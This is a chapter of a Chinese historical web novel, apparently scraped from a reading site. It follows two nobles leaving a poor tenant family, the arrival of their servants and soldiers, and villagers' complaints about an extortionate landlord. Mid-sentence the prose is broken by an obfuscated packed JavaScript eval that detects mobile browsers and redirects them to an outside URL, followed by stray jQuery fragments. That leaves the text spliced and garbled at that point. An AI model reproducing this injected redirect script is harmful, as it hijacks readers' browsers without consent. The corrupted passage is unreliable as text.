52. 苦难言

作品:《几回春

    晏星久久不曾言语。她感到悲哀——一种根深蒂固于这世上千百年的悲哀。


    “二丫头要来家了。”周老伯很快平复住,转身走去灶房,“我盛粥去。”


    “坐、坐。”妇人抹去泪痕,指了指桌椅。


    “不必劳烦阿嫂,我们这便要走。”宋景玄淡笑说。他衣着自己那身红袍,倒也并不显那已然干涸的血迹。


    “这样急?”浑似做错了什么般的,妇人不安地绞着手指。


    周老伯恰也端出了粥来,一面往桌上摆一面让他二人坐。


    晏星见实在不便推脱,便拉了宋景玄在方凳坐了。


    听他们说是粥,晏星只道是米粥,垂眸却见陶碗中一片浅褐色。


    “是麻籽粥。”宋景玄趁夫妇二人去拿勺时附耳对她道。


    麻籽粥?晏星低头,只觉淡香萦鼻,不由心生几许好奇。


    宋景玄还想再劝她一劝,晏星却已接了妇人递来的木勺,舀起慢饮了一小口。


    些微的苦涩在唇齿间蔓延开,口中的麻籽蛰得她难以下咽。晏星忍着不适,面上不有丝毫异样。


    见宋景玄目光关切,晏星只轻摇了摇头,示意无事。


    周老伯夫妇二人皆端起碗埋首吸溜,晏星正捏着勺发愁,就听不远一阵轻快的脚步声传来。


    周春英推门而入,臂上挎着的草篮里是绿油油的野菜,“阿爹!阿娘!”


    妇人搁了空碗,起身走近:“怎拖到这会子?客人忙都要走了,锅里头给你剩了粥。”


    周春英探头望了晏星一眼,又飞快地缩回脑袋,小声说:“村里来了好些人,像是来寻人的。”


    晏星隐隐听清了,她料是来寻她和宋景玄的,遂直起身笑道:“想是家中下人来寻我二人,如此便也不叨扰了。”


    妇人怔了怔:“啊?这菜还没煮呢。”


    周老伯拉住她道:“诶,人家搞不好有急事呢。”


    妇人闻言便也作罢了,又将她和宋景玄送至门边,“慢走,慢走啊。”


    晏星趁一时无人注意,极快地将银钗塞进周春英所挎的菜篮中,口内言谢不尽。


    她走至门后,甫一拉开门就同外头立着的人来了个大眼对小眼。


    晏星毫无预料,被惊得后退一步,又被宋景玄拉至身后。


    门外的中年男子举臂,似是正要叩门。他见了晏星亦是满脸愕然,揉了两把眼睛,又抬眼将这房屋仔细打量了一遭,确认自个未有走错。


    门内的周老伯见了这人,忙几步走来,搓手挂笑道:“蔡先生今儿个怎么来了?”


    被称作蔡先生的男子相貌清癯,留着胡须几缕,穿一身洗得发白的长袍,脊背笔挺。


    他见周老伯这副神情,面上也显出几分难色,一时也顾不得去问晏星和宋景玄是何人了,双唇几次张合才道:“周叔,我上回借你们家的那一两银子...”


    周老伯身形在一瞬间更显佝偻,磕绊着道:“不是...下个月还吗?眼见着今儿就要纳粮了,能不能,再过上些天?”


    蔡先生重重叹了一声,负手在原地打转:“这我岂又不知啊,那西头的张家就是因纳不起粮,举家投了河。”


    他顿步,愁眉紧锁,摊手道:“可我那犬子...”


    话才说到一半,蔡先生就不见了影,直直被人给撞到了一旁。


    晴霜挤进屋来,紧紧执住晏星两手,将人上上下下打量一回,汪着泪说:“小姐,小姐你可无事?可忧心死奴婢了。”


    “好了好了,”欣喜油然而生,晏星宽慰她说:“放心,我分毫事也无。”


    晏家奴仆并虎翼军兵士直把这屋门围得寸风不透。蔡先生莫名其妙被人一撞,正待要发几句牢骚,一见这架势又一缩脖子,把话重又吞了回去。


    妇人被搞糊涂了,直愣愣盯着晏星瞧,口内嗓音含混:“...夫人?小姐?”


    晏星向她笑了一笑,便拉了晴霜要到外头说话。众兵士见了宋景玄就要行礼,又被他抬手止住了。


    村中日子平淡寡趣,见一下有了这样稀奇的事,大半人都跑出屋来,在几处墙根探头探脑地张望。


    晏星径走至一处稍显僻静的树下,回身问晴霜道:“可是爹娘命你带人来寻我的?”虽是在问,她语气却是肯定。


    晴霜见晏星狼狈,眸中那泪是止也止不住。还没待回话,她就觉有一只手按在了臂间。


    晏星温声劝慰她:“怎是又哭了?无妨,事都已远了。”


    晴霜回视她,又是吸了一吸鼻子,重重点头:“嗯!”


    宋景玄亦在旁问亲兵道:“如何没护在太子身侧?刺客可剿尽了?”


    他手边亲兵回说:“回副使,我等此便是奉太子之命而来。殿下允我等弟兄便宜行事,另严申不得扰民。刺客已被搜查除尽,未能留下活口,营中人马业已起程还京。”


    晏星闻言看来,讶然重复:“业已还京?”


    晴霜已是缓和下来,抢着答说:“夜里宫中传来急讯,召秋猎人马归京。太子殿下和五殿下,还有老爷他们骑马先行,余下人等也都在天未明时动身了。”


    “小姐,你说这究竟是出了何事才这样急啊?”她纳闷声问。


    晏星凝眉沉思,良久未语,垂下的眼睫掩住了微沉的眸色。


    她心中已隐有猜测,只仍是缓声说:“不知。”


    急切若此,非是圣上病笃,便是叛乱突生。如是叛乱总不至一丝风声也无,而楚明慎...


    前世楚以昀毒发身亡,楚明慎未久驾崩。彼时楚以鸣远在北地,楚以砚被赵党诸人拥簇御极。


    眼下情形大有不同。楚以昀一切安好,赵延身在猎场。楚明慎虽一向病弱,但有太医温养,又不曾经丧子之痛,又如何会猝然病急呢?


    ...可若非如此,又还有何大事是能与之相匹的呢?


    “小姐之物奴婢打拴了一些来。”晴霜指了指几名家丁挎着的软包。


    那头的亲兵同样示了示手中包袱:“副使所用属下也拴束


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278022|197442||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来了。”


    晴霜面对晏星,话音透出几丝急切:“小姐,可是这会便行?马车就在村口,大部人马登程未久,追赶不难。”


    顶着众亲兵询问的视线,宋景玄没表态,只将眸光落往晏星。


    如他所料,晏星偏头望向那错落的低矮屋宇,面色微沉地吩咐:“不急,先遣一人追赶传信。此处尚余几事不明。”


    为免太惹人注目,晏星和宋景玄只带上了几人,余下人等则自往村口等候。


    蔡先生在村中似颇得人敬重,他们回去时但见好些村民都围在周老伯屋前,面上尽是如出一辙的焦急。


    眼见他们去而复返,不少人都面露诧色,尤其是周家三口人。


    不论是衣着相貌,还是方才那被人簇拥的架势,晏星和宋景玄一看便不是常人。蔡先生虽读过些书,到底也只是个教书的秀才,何曾见过这等气度的贵人?见身边村民都在原地发怵,他压下心中忐忑,拢袖上前作了一揖,带笑问:“不知二位是何方来的贵人?”


    晏星含笑回了一礼,简短答道:“鹤京。”


    说完也不待这些人作何反应,她紧继着问蔡先生道:“适才听先生之言,令郎似是逢上了难事?”


    这话正戳到蔡先生心上。虽说家丑不可外扬,可人一旦急起来哪还顾得那许多。他一拍大腿,焦灼说道:“在下的小儿子昨儿被官府里的人捉去了,这没个百十两银子,我父子二人怕是此生再难相见啊!”


    晏星听他言语,却是有几分不解。官府捉人定有缘故,触了法便依律惩处,查实无罪则放人归家,便是需要银两上下打点,也不至会达百十两这样大的数目。况且...什么叫做此生再难相见?莫不是蔡家得罪了什么人?还是那蔡小公子犯的是何重罪?


    宋景玄和她想到一处去了,便问蔡先生道:“不知小公子因何被带走?”


    只见一面色黝黑的汉子重重地“哎呀”一声,急躁抢话道:“还不是那姓耿的!清则那孩子见他们家又在强抢民女,不过是上前阻拦了一番,就被押进大牢了!”


    他愤愤地卷起衣袖,粗声粗气地说:“老子是受够那鸟东家的气了!要我说啊,咱不如干脆就和他们拼个你死我活,一把火烧了耿宅!”


    蔡先生被他这几句话吓得魂不附体,连连摆手道:“丁大哥,光天化日之下,切莫口出诳语啊!”


    丁大哥仍自不豫,他觑了晏星几人一眼,把嘴一撇,到底是不再言语了。


    “这般说来,小公子本也无罪,不拿银子便无法了吗?”晏星又正色问。


    答话的是周老伯,他弓腰向前挪动几步,沙哑的嗓音里是深深的无奈:“那些大人老爷哪管你有罪没罪,这人到了手上,是死是活,还不是他们说了算。”


    晏星默然片刻,因确认道:“你们可都是耿家的佃户?”


    周老伯点头,说:“六年前发了洪水,粮食收成不好,官府也没放粮。我们没法子,只得去借耿老爷的贷。这一借啊,就得用一辈子来还。”